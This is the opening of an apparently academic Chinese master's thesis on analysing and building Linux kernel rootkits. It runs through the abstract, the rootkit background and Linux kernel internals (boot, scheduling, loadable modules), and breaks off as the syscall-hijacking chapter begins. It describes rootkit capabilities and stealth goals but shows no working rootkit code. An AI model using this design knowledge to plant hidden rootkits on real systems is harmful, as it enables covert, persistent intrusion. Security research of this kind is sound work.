admin管理员组

文章数量:1532181

2023年12月29日发(作者:)

上海交通大学硕士学位论文LINUX内核ROOTKIT的分析及实现姓名:刘传申请学位级别:硕士专业:通信与信息系统指导教师:薛质20061201

上海交通大学硕士学位论文 LINUX内核ROOTKIT分析及实现

LINUX内核ROOTKIT分析及实现

摘 要

随着信息技术的迅猛发展,互联网和信息共享成为信息社会的主要趋势,越来越多的信息系统依赖于当前的互联网,信息安全成为一个不可回避的话题逐渐摆在我们的面前。远程控制技术的研究成为网络安全研究中的热点之一,内核Rootkit(即用来保存和隐藏root权限)做为一种长期隐蔽控制计算机系统的有效工具,其相关技术是远程控制技术研究的重要组成部分。本文基于Linux系统环境下远程攻击控制平台,首先着重分析了Linux内核体系结构、系统启动过程、进程的管理调度和动态可加载模块,在此基础上,总结了基于系统调用替换实现内核Rootkit的方法,并做了逃避检测的改进;归纳了基于内核异常修复指针替换方法实现内核Rootkit的技术;提出并完成了基于Linux虚拟文件系统处理指针替换实现内核Rootkit的技术。虚拟文件系统处理指针的替换位于Linux系统的较低层次,很难被发现,并通过多种方式实现了文件隐藏、进程隐藏、网络连接隐藏、日志过滤、权限提升等功能模块。本文中的实现部分着重于隐蔽性和可用性方面,并在内核空间内,应用系统调用替换、隐藏模块、模块注入等多种方

I

上海交通大学硕士学位论文 LINUX内核ROOTKIT分析及实现

法对Rootkit模块进行隐藏;在用户空间中采用内核模块启动用户空间程序、用户空间处理脚本替换等方法加强Rootkit的隐蔽性,最后提出了内核Rootkit存在的缺陷与检测方法,并给出了今后的研究方向。

关键词:远程控制,可加载模块,虚拟文件系统,内核木马

II

上海交通大学硕士学位论文 LINUX内核ROOTKIT分析及实现

THE ANALYSIS AND REALIZATION OF

BACKDOOR BASED ON LINUX KERNEL

ABSTRACT

With the information technology developing rapidly, internet and

information sharing become the trend of current information society. More

and more information systems in diverse fields dependent on Internet

currently. However, the information threats and security requirements is

becoming the key of the problem which we have to be faced. Remote

control techniques have become a focus in the studying of network security.

Rootkit (which can be used to keep the root privilege) is a kind of tool

used to control target's computer system permanently and secretly after

successfully breaking into it, the correlation technical has become the

important part of remote control technical. The article is based on the

remote attack system, and firstly described the structure of linux Kernel ,

linux boot process, the management of task and LKM (loadable kernel

module), then, summarized the method of realization kernel Rootkit which

was based on replacing system call and make improvement on the hand of

escaping check; sum up the technical of realization Rootkit based on

exception fix pointer replacing; raised and finished the Rootkit, that is

based on replacing the system call of VFS. The method of replacing the

pointer of VFS was in the lower level so that it’s hard to be detected. The

VFS backdoor can gain a very high privilege, such as hiding file, hiding

process, hiding net connection, log filter and so on. The realization part in

this article emphasize on concealment and useableness, furthermore, the

hidden rootkit module technical used replacing system call, hidden module

and module injection in kernel space, in user space, used the method kernel

module started the program and replacing script. At last, some

shortcomings were presented for the purpose of checking and raised the

III

上海交通大学硕士学位论文 LINUX内核ROOTKIT分析及实现

studying direction.

Keywords: remote control, lkm vfs, rootkit, linux

IV

上海交通大学

学位论文原创性声明

本人郑重声明:所呈交的学位论文,是本人在导师的指导下,独立进行研究工作所取得的成果。除文中已经注明引用的内容外,本论文不包含任何其他个人或集体已经发表或撰写过的作品成果。对本文的研究做出重要贡献的个人和集体,均已在文中以明确方式标明。本人完全意识到本声明的法律结果由本人承担。

学位论文作者签名:刘传

日期:2007年01月10日

上海交通大学

学位论文版权使用授权书

本学位论文作者完全了解学校有关保留、使用学位论文的规定,同意学校保留并向国家有关部门或机构送交论文的复印件和电子版,允许论文被查阅和借阅。本人授权上海交通大学可以将本学位论文的全部或部分内容编入有关数据库进行检索,可以采用影印、缩印或扫描等复制手段保存和汇编本学位论文。

保密□,在 年解密后适用本授权书。

本学位论文属于

不保密√。

(请在以上方框内打“√”)

学位论文作者签名:刘传 指导教师签名:薛质

日期:2007年01月10日 日期:2007年01月10日

上海交通大学硕士学位论文 第一章绪论

第一章 绪 论

1.1 课题研究的来源背景

1.1.1 Rootkit基本概念

Rootkit的概念出现于二十世纪九十年代初,根据NSA安全和入侵检测术语字典(NSA Glossary of Terms Used in Security and Intrusion Detections)对Rootkit的定义,Rootkit是一套允许入侵者提供侵入系统的后门,收集同一网络上其他主机的信息,并且能够掩盖主机被入侵事实的工具的集合。实际上,一个Rootkit通常并不是使入侵者攻破防御体系的程序,而是攻击者在突破网络或主机后,用来隐藏自己的踪迹和保留root访问权限的后门工具。通常只有在系统已经被侵入并且获得root权限后Rootkit才被安装进系统,并帮助入侵者长期控制系统,搜集主机和网络信息,并隐藏入侵者的痕迹[1]。

1.1.2 课题背景

近年来,随着计算机技术的发展和现代军事领域对计算机系统依赖程度的增加,计算机网络正以前所未有的速度作用于社会政治经济生活的各个领域,深刻地影响着人们的工作方式、管理方式和思想观念,有力地推动着人类的文明进步和社会发展。信息化水平己成为衡量一个国家现代化程度和综合国力的重要标志。伴随着信息技术的发展,由于计算机网络对经济发展、国家安全和社会稳定的重大影响,以及其内在的开放性、共享性和互连性所不可避免地带来的脆弱性,信息战的激烈程度日益增加。Linux 操作系统由于其系统源码的公开性和稳定的系统性能,得到了广泛的应用。目前Windows平台下的网络入侵和控制技术发展比较成熟,但是在Linux平台下网络攻击与控制技术的研究却相对滞后。随着Linux和其他类Unix系统在社会生活的各个领域得到越来越广泛的应用,Linux系统下远程控制技术的研究正日益成为网络安全领域研究的热点,而内核 Rootkit以其强大的功能和较为完善的隐蔽性更加受到瞩目。及时跟踪和了解Rootkit的发展动态,掌握其核心技术,并结合实际应用在某些关键方向上有所创新和发展,是一项很有意义的工作。本课题目的是从攻击者的角度出发,通过对Linux操作系统下的内核Rootkit的关键技术研究,实现一个基于VFS函数替换的内核Rootkit,为其防范和检测打下基础。

1

上海交通大学硕士学位论文 第一章绪论

1.2 Rootkit 的发展历史和现状

1.2.1 发展历史

早期的Rootkit主要通过替换系统文件来达到目的,主要是针对Unix平台,Linux、SunOs等操作系统。Rootkit的目的不是为了突破系统获得进入系统的权限,而是在通过其它手段获得系统权限后对所得到的权限进行保存的工具,当得到系统的权根(即root权限后),它能提供一系列的工具用来保证再次进入系统的能力和隐藏在被攻击系统中的活动痕迹,从而让攻击者保住权限,防止暴露。早期的Rootkit的攻击,例如为了保留进入系统的权限,通常对系统的/bin/login程序进行替换,以后当攻击者想进入系统时,只需完成特定的匹配就能进入系统。同时在系统中可以对一些系统重要的可执行程序进行替换,例如ps(监视进程),netstat(监视网络连接),ls(列表文件)等程序进行替换,从而实现进程隐藏、网络连接隐藏、文件隐藏等功能。早期的Rootkit存在的最主要问题是隐蔽性不强,通过对文件完整性的较验等方法很容易发现,生存能力低。

1.2.2 Rootkit的研究现状

和早期的Rootkit不同,内核Rootkit由于隐蔽性好、攻击能力强,逐渐成为了主流。当前流行的内核Rootkit主要有adore,knark等,按其实现方法大致可以分为四类,即系统调用相关、异常相关、内核静态补丁、处理指针相关[2]。内核级Rootkit通过更改系统调用例程,或对函数的处理指针(如TCP/IP的处理指针,VFS的操作指针等)进行替换,一般不直接修改可执行程序,实现Rootkit功能。当系统管理员用检测早期Rootkit的方法(如检测文件的完整性)就无法检测到了,因为文件或可执行程序并没有被改变。目前比较流行的内核级Rootkit基本实现了以下功能:

(1)远程执行代码,通过网络向运行Rootkit的机器发送指令,控制远程主机;

(2)文件隐藏,把目标主机上的文件隐藏起来,使其不能通过常规方法查看到;

(3)进程隐藏,在控制目标主机时,必然会启动相关的进程,通过Rootkit可以实现对进程的隐藏;

(4)网络连接隐藏,将网络连接的端口信息隐藏,利用netstat等工具无法显示隐藏的信息;

2

上海交通大学硕士学位论文 第一章绪论

(5)内核模块隐藏,将Rootkit自身在系统中安装的模块隐藏起来,提高生存能力。

1.3 本文的研究内容和主要工作

本文主要从攻击的角度较全面的分析了各种内核级Rootkit的原理和实现方法,主要完成了以下工作:

(1) 深入分析了与Rootkit相关的内核源代码;

(2) 完成了基于系统调用替换的内核Rootkit分析与实现;

(3) 完成了利用异常替换实现Rootkit的原理和方法;

(4) 重点分析了基于虚拟文件系统函数指针替换的Rootkit的实现原理和方法,最后在综合分析的基础上,实现了一个利用VFS指针替换的内核Rootkit。

本文共分为六个部分:

第一章是绪论,阐述课题研究背景、国内外研究现状、本文的研究内容和主要工作,以及本文的组织。

第二章深入分析了Linux内核,针对Rootkit与Linux内核紧密相关的特点,深入分析了内核的体系结构,系统启动过程,进程的调度和管理机制,动态可加载模块等方面。

第三章是基于系统调用替换的内核Rootkit分析与实现,从系统调用的原理、执行的流程入手,分析了系统调用的几种替换方法,以及基于劫持系统调用的内核Rootkit的实现,提出了逃避检测的改进方法。

第四章提出基于异常处理指针替换的内核Rootkit分析与实现。分析了异常的原理和处理方法,利用Linux独特的异常处理机制,实现内核Rootkit,对内核静态补丁的方法进行了深入的研究。

第五章阐述了基于Linux 虚拟文件系统的内核Rootkit整体设计与实现。结合项目的工作需求,分析和实现了基于VFS的Rootkit,从功能设计到具体实现以及对检测工具的躲避分析,完成了整体的实现。

第六章是全文总结,对本方案的特点、安全性进行了分析,提出了下一步研究的方向和重点。

3

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

第二章 深入分析和理解Linux内核

Linux是类Unix操作系统大家族中的一名成员。1991年,芬兰人Linus Torvalds开发出最初的Linux,做为一个适用于基于Intel 80386微处理器的IBM PC兼容机的操作系统。Linux具有结构清晰、功能简洁等特点,并可以通过互联网免费获得其内核源代码,这样程序员可以协作不断对它进行完善。现在Linux已经成为一个实现了大部分UNIX功能并有着自身特点的操作系统。Linux最吸引人的优点就在于它不是商业操作系统:它的源码在GNU的公共许可证下开放,任何人都可以获得源码并研究它。从技术角度来说,Linux是一个真正的UNIX内核,但它不是一个完全的UNIX操作系统,这是因为它不包含全部的UNIX应用程序,诸如文件系统应用程序、窗口系统、文本编辑程序等等。

2.1 Linux操作系统内核发展

Linux 最初是由Linus Torvalds在学习操作系统的设计时,自行设计的一个操作系统。1991年底,Linus Torvalds首次在互联网上发布Linux源代码,从此,Linux得到了飞速的发展。

1994年,Linuxl.0 正式发布。这个内核增加了许多功能,最为突出的一点就是对网络的支持,它提供了对标准TCP/IP协议的支持,还提供了一套和FreeBSD兼容的用于网络编程的socket接口;它提供了虚拟内存系统,使得系统支持对于任意文件的内存映射,并且提供了更多的驱动程序;这个版本还提供了浮点运算处理器的模拟功能。并且从这个版本开始,Linux开始提供简单的内核模块动态加载和卸载机制,也就是我们常说的Linux的模块机制。这个机制是Linux操作系统的一大特色。

1995年,Linuxl.2 内核版本发布。这个版本提供了对PCI总线体系结构标准的支持,可以支持更多PCI硬件。80386CPU的VM86模式也得到支持,从而使Linux可以模拟DOS操作系统。提供了较完善的网络协议和IPX协议的支持,同时完善了防火墙功能。并且开始支持一些其它的体系结构,如Sun SPARC, Alpha,

MIPS等。

1996年,Linux2.0 内核版本发布。这个版本最为突出特点是支持多处理器体系结构,包括64-bit的Alpha多处理器体系结构,SUN的SPARC多处理器体系结

4

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

构等,这就意味着Linux不仅仅可以在桌面PC应用,也可以在服务器上占有一席之地。并且在嵌入式系统中占有越来越高的应用价值。在文件系统方面,2.0内核也有了质的飞跃,出现了虚拟文件系统,这个改变使内核对大量文件甚至网络文件系统(NFS)的支持以及虚拟内存性能的改善。这个版本的另一个特征是实现了动态的内核加载模式。这使得系统运行时内核的设置功能有了很大改进,这个内核还支持POSIX实时进程调度。通过分析 Linux内核发展趋势可以看出,初期的Linux系统追求的目标是最大限度的对计算机硬件资源实现有效的利用,但随着Linux系统应用日益广泛,现在Linux更注重对成熟标准的支持,对软件的大量应用,这也是Linux得以广泛使用的最大原因。

2.2 Linux操作系统体系结构

2.2.1 Linux内核组成

Linux内核主要由五个子系统组成[3]:进程调度,内存管理,虚拟文件系统,网络接口,进程间通信。

(1)进程调度,用来控制进程对CPU的访问。当需要选择下一个进程运行时,由调度程序选择最值得运行的进程,所采取的调度策略是每个进程能够公平合理的访问CPU。可运行进程指等待CPU资源的进程,Linux使用了比较简单的基于优先级的进程调度算法选择新的进程。

(2)内存管理,可以使多个进程安全的共享主内存区域。Linux 的内存管理支持虚拟内存,即在计算机中运行的程序,其代码,数据,堆栈的总量可以超过实际内存的大小,操作系统只是把当前使用的程序块保留在内存中,其余的程序块则保留在磁盘中。必要时,操作系统负责在磁盘和内存间交换程序块。内存管理从逻辑上分为硬件无关部分和硬件相关部分。硬件无关部分提供了进程的映射和逻辑内存的对换;硬件相关的部分为内存管理硬件提供了虚拟接口。

(3)虚拟文件系统,在各种不同的文件系统上提供了一种统一的抽象接口,独立于各种硬件的具体细节,通过提供函数操作集合为文件操作服务,可支持NTFS,FAT,EXT2,EXT3等多种文件系统。

(4)网络接口,可分为网络协议和网络驱动程序,主要提供了对各种网络标准的读写存取和各种网络硬件的支持。网络协议负责实现每一种可能的网络传输协议,网络设备驱动程序负责与硬件设备通讯,每一种可能的硬件设备都有相应的设备驱动程序。

5

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

(5)进程间通讯,在程序独占进程空间的基础上,支持进程间各种通信机制。

内核结构关系如图2-1所示:

用户程序系统调用虚拟文件系统

字符、块设备

设备驱动程序

硬件控制硬件

图2-1内核结构

Fig 2-1 kernel structure

内核空间硬 件

进程控制系统用户空间进程通信进程调度内存管理

2.2.2 依赖关系

(1)进程调度与内存管理,在多个程序环境下,程序要运行必须为之创建进程,而创建进程的第一件事情,就是将程序和数据装入内存。

(2)虚拟文件系统与网络接口,虚拟文件系统利用网络接口支持网络文件系统(NFS),也利用内存管理支持RAMDISK设备。

(3)内存管理与虚拟文件系统,内存管理利用虚拟文件系统支持交换,交换进程(swapd)定期由调度程序调度,当一个进程存取的内存映射被换出时,内存管理向文件系统发出请求,同时,挂起当前正在运行的进程。

(4)进程间通信与内存管理,进程间通信子系统要依赖内存管理支持共享内存通信机制,这种机制允许两个进程除了拥有自己的私有空间,还可以存取共同的内存区域。

6

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

(5)其它依赖关系,内核中的所有子系统有时需要依赖一些共同的资源。这些资源包括所有子系统都用到的过程。例如:分配和释放内存空间的过程,打印警告或错误信息的过程,还有系统的调试例程等等。

2.3 系统启动过程

2.3.1 系统启动概述

计算机在加电后,由硬件电路在CPU的一个引脚上产生一个RESET逻辑值。在RESET产生后,把处理器的一些寄存器设置成固定的值,并执行在物理地址0xfffffff0处找到的代码,硬件把这个地址映射到某个只读、持久的存储芯片中,即通常的ROM中。我们通常称之为BIOS(基本输入/输出系统)。BIOS使用实模式地址,实模式地址由一个段的地址和一个偏移量组成。相应的物理地址可以这样计算:段*16+偏移量,Linux在启动阶段要集中使用BIOS,此时BIOS实际上执行以下4个操作:

(1) 计算机硬件执行一系列的测试,主要用来检测有什么设备和其状态,称为POST(power on self test);

(2) 初始化硬件设备;

(3) 搜索一个操作系统,根据BIOS设置,搜索软盘、硬盘、光驱等的第一个扇区即(引导扇区);

(4) 把找到的有效的设备的引导扇区内容拷贝到RAM中从物理地址0x00007c00开始的位置。

下面以一个在硬盘上引导的过程来描述系统启动的详细过程[4]。

2.3.2引导装入程序

在PC的系统结构中,一般硬盘的第一个扇区为主引导记录即MBR,磁盘通常还被分为逻辑分区,一般有一个逻辑分区为活动分区。MBR或者分区的引导扇区包括一个小的引导装入程序bootsect,在加电后,由BIOS把这个小程序装入从0x00007c00地址开始的RAM中,这段代码将其自身“搬运”到0x00090000处,并且跳转到那里继续执行,然后通过BIOS提供的读磁盘调用“int 0x13”从磁盘上读入setup和内核的映象,其中setup映象读入到0x00090200处。从0x000A000以下的640KB为系统的基本内存,其中开头64KB是保留给BIOS用,顶端64KB为引导装入程序和setup使用,还有4KB用于引导命令行,这样剩下来可用于内核映象就是508KB。大小不超过508KB的引导映象称为小映象,文件名为zimage,

7

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

否则为bzimage,在解压缩以后的内核映象放在地址为0x00100000处[5]。

CPU在执行bootsect时处于16位实地址模式,然后在setup的执行中转入32位保护模式的段式寻址方式。在bootsect和setup执行中,都利用BIOS在加电自检时搜集到的一些信息,当转入内核本身的映象执行时,就不再使用BIOS的调用了。当setup为内核映象的执行作好准备以后,就跳转到0x00100000处开始执行内核本身的映象了。

0x00100000,1M

0x000A000,640KB

0x00090200,setup映像

0x00090000,576 KB

0x00007c00

图2-2内核加载地址

Fig 2-2 kernel load address

2.3.3系统初始化准备阶段

这个过程主要由setup汇编函数完成,setup代码由引导装入程序拷贝到从物理地址0x00090200开始的RAM中。Setup函数完成计算机硬件设备的初始化并为内核程序的执行建立环境。Setup主要执行了以下的操作:

(1) 获得系统中可用RAM的数量;

(2) 初始化一些基本的硬件设备,如视频卡、磁盘控制器、鼠标等;

(3) 检查内核映象,如果被低装载到RAM中(物理地址0x00010000处)就把它移动到物理地址0x00100000处,主要是对于压缩的内核映象解压时提供临时缓冲区;

(4) 建立一个临时中断描述符表和一个临时全局描述符表;

(5) 设置CR0状态寄存器中的PE位把CPU从实模式切换到保护模式;

(6) 跳转到startup_32函数。

8

高地址

低地址

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

2.3.4系统初始化

在进入startup_32时,CPU运行于保护模式下的段式寻址方式,startup_32首先将除CS以外的所有段寄存器都设置成__KERNEL_DS,即0x18,完成段寄存器的初始化;接着用0填充内核未初始化数据区,调用decompress_kernel()函数来解压内核映象,解压后的内核映象被移动到0x00100000 处,并跳转到物理地址0x00100000处。解压后的内核映象包含了另一个startup_32()函数,主要是为第一个LINUX进程建立执行环境,该函数执行以下操作:

(1) 为进程0建立内核态堆栈;

(2) 初始化页面映射表并开启CPU的页面映射机制;

(3) 把内核的BSS段填充为0;

(4) 调用setup_idt用空中断处理程序填充中断描述符表;

(5) 用GDT和IDT表的地址来填充 gdtr和idtr寄存器;

(6) 跳转到start_kernel()函数。

start_kernel()函数完成LINUX内核的初始化工作,首先调用paging_init()函数初始化页表,调用mem_init()、free_area_init()和mem_init()函数初始化页描述符、通过调用trap_init和init_IRQ()函数来完成IDT的最后的初始化,调用kmem_cache_init()函数来初始化slab分配器,调用time_init()函数初始化系统日期和时间,最后调用kernel_thread()函数为进程1创建内核线程。最后由init完成外设初始化后,开始用户态的初始化。具体过程[4]如图2-3所示:

9

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

POST(BIOS)

加载启动文件和

内核映象

引导扇区bootsect.S设置系统参数,转到i386保护模式

setup.S

i386实模式

start_kernel()

{…

rest_init();

}

核心数据初始化i386保护模式

外设初始化

rest_init()

{…

knernel_thread(init,...);…

}

init()

{ …

do_basic_setup();

execve(“/sbin/init”,…)

execve(“/etc/init”,…)

execve(“/bin/init”,…)

execve(“/bin/sh”,…)

}

核心态初始化

用户态初始化

图2-3Linux 启动过程

Fig 2-3 Linux boot process

2.4进程管理与调度机制

进程由可执行代码、专用的系统堆栈空间、进程控制块(即task_struct,在include/Linux/sched.h中定义)、专有的用户空间四个要素组成,如果完全没有用户空间,则称为内核线程,如果共享用户空间则为用户线程。进程用pid号来标识,在系统初始化的最后阶段,初始进程启动一个任务,称为init进程,其进程标识符为1,它完成一些系统的初始配置,然后执行系统初始化脚本,init使用/etc/inittab

10

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

做为一个脚本文件来创建系统的新进程。系统中所有进程都是init进程的后代,新进程通过克隆而创建[3]。

2.4.1重要的数据结构与宏

(1)task_struct,在Linux中,进程用task_struct表示,所有进程被组织到以init_task为表头的双向链表中,在task_struct结构中的内容基本可分为三类:

状态:即TASK_RUNNING(正在运行中进程或在Running队列中准备运行的进程,TASK_INTERRUPTIBLE(等待队列中的进程),TASK_UNINTERRUPTIBLE(僵死状态的进程),TASK_STOPPED (进程暂停),TASK_TRACED(进程处理跟踪状态),TASK_ZOMBIE(进程注销未释放资源),状态间切换。

性质:进程的标志位flags,反映了进程与管理相关的一些信息,如进程的创建、开始关闭,创建但还没有运行等各种标志;跟踪标志位ptrace,代表了进程的跟踪状态;优先级prio,进程调度的主要参数;与文件操作权限相关的uid、euid、suid、fsuid、gid、egid、sgid、fsgid;

资源:rlim结构数组,表示进程对各种资源的使用数量所受的限制,其中数据结构rlimit是在include/Linux/resource.h中定义的,代表了进程所占有和使用的资源。

组织:每一个进程都不是独立的存在于系统中,总是根据不同的目的、关系和需要与其它的进程相联系。从内核的角度看,则是要按不同的目的和性质将每个进程纳入到不同的组织中。即进程的宗族表,为了更快的找到进程而引入的杂凑表,为遍历进程的双向链表,运行中的进程的“可执行队列”。

(2)Mm_struct 每个进程的虚拟内存由一个mm_struct结构来代表,该结构实际上包含了当前执行映像的有关信息,并且包含了一组指向vm_area_struct结构的指针,vm_area_struct结构描述了虚拟内存的一个区域。

(3)Inode 虚拟文件系统(VFS)中的文件、目录等均由对应的索引节点(inode)代表。每个VFS索引节点中的内容由文件系统专属的例程提供。VFS索引节点只存在于内核内存中,实际保存于VFS的索引节点高速缓存中。如果两个进程用相同的进程打开,则可以共享inade的数据结构,这种共享是通过两个进程中数据块指向相同的inode完成。

(4)current宏,核心经常需要获知当前在某CPU上运行的进程的task_struct,

11

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

在Linux中用current指针指向这一描述符。current的实现采用了一个小技巧以获得高效的访问速度,这个小技巧与Linux进程task_struct的存储方式有关。

在Linux中,进程在核心级运行时所使用的栈不同于在用户级所分配和使用的栈。因为这个栈使用率不高,因此仅在创建进程时分配了两个页(8KB),并且将该进程的task_struct安排在栈顶。(实际上这两个页是在分配task_struct时申请的,初始化完task_struct后即将esp预设为页尾做为进程的核心栈栈底,往task_struct方向延伸。)

因此,要访问本进程的task_struct,只需要执行以下简单操作:

__asm__ ("andl %%esp,%0; ":"=r" (current) : "0" (~8191UL));

此句将esp与0x0ffffe0作"与"运算,获得核心栈的首页基址,此即为task_struct的地址。产生如下的汇编指令:

movl $0xfffe000, %ecx

andl %esp, %ecx

movl %ecx, p

这三条指令执行后,p就包含在CPU上所运行的进程的任务控制块的指针,例如,current->pid返回在CPU上正在执行的进程的pid号。

(5)do_fork(),系统调用fork()、vfork()、与clone()的实现均通过do_fork()来完成,系统中除了init_task是手工创建的以外,其他进程,包括其他CPU上的idle进程都是通过do_fork()创建的,所不同的是,创建idle进程时使用了CLONE_PID标志位。在do_fork()中,新进程的属性设置为:

state:TASK_UNINTERRUPTIBLE

pid:如果设置了CLONE_PID则与父进程相同,否则为下一个合理的pid

cpus_runnable:全1;未在任何cpu上运行

processor:与父进程的processor相同;子进程在哪里创建就优先在哪里运行

counter:父进程counter值加1的一半;同时父进程自己的counter也减半,保证进程不能通过多次fork来获取更多的运行时间(同样,在子进程结束运行时,它的剩余时间片也将归还给父进程,以免父进程因创建子进程而遭受时间片的损失),其他值与父进程相同,子进程通过SET_LINKS()链入进程列表,然后调用wake_up_process()唤醒。

(6)shedule(),Linux的调度器主要实现在schedule()函数中,schedule()函数

12

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

的基本流程一般为首先清理当前运行中的进程,选择下一个投入运行的进程,然后设置新进程的运行环境并执行进程上下文切换最后完成后期整理,通常可分为两种方式即主动式和被动式。主动式,在核心应用中直接调用schedule(),通常发生在因等待核心事件而需要将进程置于挂起(休眠)状态的时候主动请求调度以方便其他进程使用CPU;被动式,在系统调用执行结束后,控制由核心态返回到用户态之前,Linux都将在ret_from_sys_call入口检查当前进程的need_resched值,如果发现置位,则开始调度。

2.4.2 进程管理与状态

无论任何时刻,进程都存在三个链表中,直到消亡时才被摘除。第一个是进程按“家族”关系形成的队列,即由“父、子、兄、弟”组成的进程链[6];

父进程

p_cptr p_pptr p_pptr p_pptr

p_osptrp_osptr最年轻的子进程

最老的子进程

子进程

p_ysptrp_ysptr图2-4进程的家族关系

Fig 2-4 task family relation

第二个链表是为了便于根据pid号寻找进程而以杂凑表为基础形成的进程队列的阵列,在查找时,先对pid施行杂凑计算,以其结果为下标在杂凑表中找到一个队列,再顺着该队列查找进程;

13

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

pidhash

0

199

216

1023

第三个链表是以init进程为起点,后继每个进程都链入这个队列[3]。

prev_task next_task

Init_task

prev_task next_task Init_task

prev_task next_task Init_task

同时在运行的过程中,还动态的链接进“可执行队列”接受系统的调度。

进程的状态转换可由图2-7来表示[3]:

... …

…Pid 199Pid 26799

Pid 26800Pid_next

Pid_pprev

图2-5 pidhash链表

Fig 2-5 pidhash chain table图2-6 进程链表

Fig 2-6 task chain table

14

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

Fork()TASK_RUNNING

收到信号

等待资源

TASK_UNINTERRUPTIBLE深度睡眠

调度时间片到 就 绪

等待资源

TASK_RUNNING

浅度睡眠

资源到位

等待资源

占有CPU执行

就 绪

跟踪或调度退出等待资源TASK_STOPPED

暂停

TASK_ZOMBIE

死亡但户口未注销

图2-7 进程状态转换

Fig 2-7 task state switch

2.4.3 进程调度策略

通常把Linux的进程分为三类,交互式进程、批处理进程、实时进程,Linux使用以优先级为基础的调度,内核为系统中的每个进程计算出一个反映其运行“资格”的权值,然后挑选权值最大的进程投入运行。Linux 的进程调度是由内核函数Schedule()来完成的。该函数首先决定是否需要进程切换,如果要进行进程切换,这个函数根据所有处于运行队列中的进程控制块中的policy, nice, counter,

rt_priority这四个属性值来计算运行队列中每个进程的权值(weight),选择其中权值最大的进程获得CPU,并切换到这个进程中运行。其中policy是进程的调度策略,用来区分实时进程和普通进程,nice是进程的优先级,counter是进程的剩余时间片,rt_priority是实时进程的优先级。在进程刚被创建的时候,进程控制块中的counter的值被设置为父进程的剩余的时钟节拍数的一半,主要是为了防止用户通过编程无限制的占用CPU,在进程运行中,由于时钟中断对counter的值不断进行减小直到为0。当减到0时,标志该进程放弃对CPU的使用权,这时时钟中

15

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

断对这个进程打上标记,表示它应该放弃CPU给其它进程,但此时并不立刻进行进程调度操作,而是在如下几种情况下才进行进程调度:当前进程由于某种原因而处于等待状态从而进入等待队列时、当前进程终止时、当前进程从系统调用返回到用户态时或由中断处理程序返回时。当所有处于运行队列的普通进程的时间片都用完时,在进程调度操作中用nice值对所有进程的counter值进行赋值[7]。

2.5 动态可加载模块机制

2.5.1基本概念

传统的内核结构有两种:微内核体系结构(Micro kernel)和单一体系结构(Monolithic kernel)。微内核体系结构的特点是在操作系统的核心部分有一个很小的内核,用来实现一些操作系统最基本的服务,例如处理内存管理、中断管理、创建和删除操作等等。而将其他的文件系统、网络协议栈等部分都移到微内核的外部用户空间里运行,这样内核本身的结构就大大减小和简化,而各个服务进程就可以按实际的需要进行单独的设计、实现以及调试,并可以单独的配置和实现,主要应用于一些专用的系统中,如实时系统和嵌入式系统,其优点是具有良好的可扩展性,且内核占用的空间小,缺点是性能由于增加了一个层次而受到一定的影响。单一体系结构的特点是在将操作系统的内存管理,中断处理,文件系统以及网络协议栈等部分都编译连接为一体。其优点是性能好,各个模块衔接紧密,因而速度和稳定性都非常好,主要问题是系统的可扩充性较差。Linux 采用的是整体、单一式的内核结构,这种结构的特点是内核一般不能动态的增加新的功能。为此,Linux提供了一种全新的机制,即可安装“模块”,(Loadable Kernel Module

简写为LKM),利用这种机制,可以根据需要,在不必对内核重新编译连接的条件下,将可安装模块动态地插入运行中的内核,成为内核的一个有机组成部分;或者从内核中移走已经安装的模块。利用这种机制,使得内核的内存映象保持最小,但却具有很大的灵活性和可扩展性。

2.5.2 LKM的实现方法

模块是以ELF对象文件存放在文件系统中的,就是经过编译但未经连接的.o文件。用户通过执行insmod将模块链接到内核通过rmmod程序从内核中移除模块。在应用程序界面上,内核通过4个系统调用支持可安装模块的动态安装和拆卸,即:create_module()、init_module()、query_module()、delete_module()[8]。一个LKM模块至少有两个基本的函数组成:

16

上海交通大学硕士学位论文 第二章深入分析和理解Linux内核

int init_module (void) /*用于初始化所有的数据*/

void cleanup module(void) /*用于清除数据*/

程序经编译后生成“模块名.o”文件,然后用insmod命令把目标文件(模块名.o)文件加载到内核中。其加载过程如下:

(1) 打开待安装模块并将其读入到用户空间;

(2) 完成符号表的定位。由于模块可能引用了内核空间的符号(函数名或变量名),对这些符号的引用必须连接到内核中的相应符号(内核或内核中的其它模块),也就是必须把这些符号在内核映象中的地址填入模块中需要访问这些符号的指令以及数据结构中,系统通过调用query_module()向内核询问这些符号在内核中的地址,如果内核允许“移出”这些符号的地址,就会返回有关的“符号表”;

(3) 完成模块到内核的连接;

(4) 通过系统调用create_module()在内核中创建一个module数据结构,并“预订”所需的内核空间;

(5) 通过系统调用init_module()把用户空间中完成了连接的模块映象装入到内核空间,再调用模块中init_module()函数向内核登记本模块中的一些包含着函数指针的数据结构,完成内核到模块的连接。

(6) 系统调用delete_module()将模块的module结构释放,并将模块映象所占的内核空间释放,并调用模块中的cleanup_module()函数撤消本模块在内核中的登记。

2.5.3 LKM对安全性的影响

LKM机制有效的解决了Linux内核可扩展性的问题,广泛的应用于Linux的设备驱动、文件系统等方面,但同时也带来了安全上的极大隐患,LKM提供给用户一个访问内核的途径。攻击者通过精心设定的模块,在将模块加载进内核后,可以对系统造成致命的影响,如可实现系统调用的替换,破坏系统的运行,隐藏文件、隐藏进程、隐藏网络连接信息,清除日志、安装后门等,使整个系统不可信任[9,10]。

2.6本章小结

本章介绍了Linux内核发展历程、基本系统结构,并结合重要的数据结构,着重分析了与内核Rootkit紧密相关的系统启动过程、进程的管理与调度策略、动态可加载模块机制等内容,这些是分析和掌握内核Rootkit的基础知识。

17

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

第三章 基于系统调用替换的内核Rootkit分析与实现

3.1 Linux的系统调用工作方式

3.1.1 系统调用的基本概念

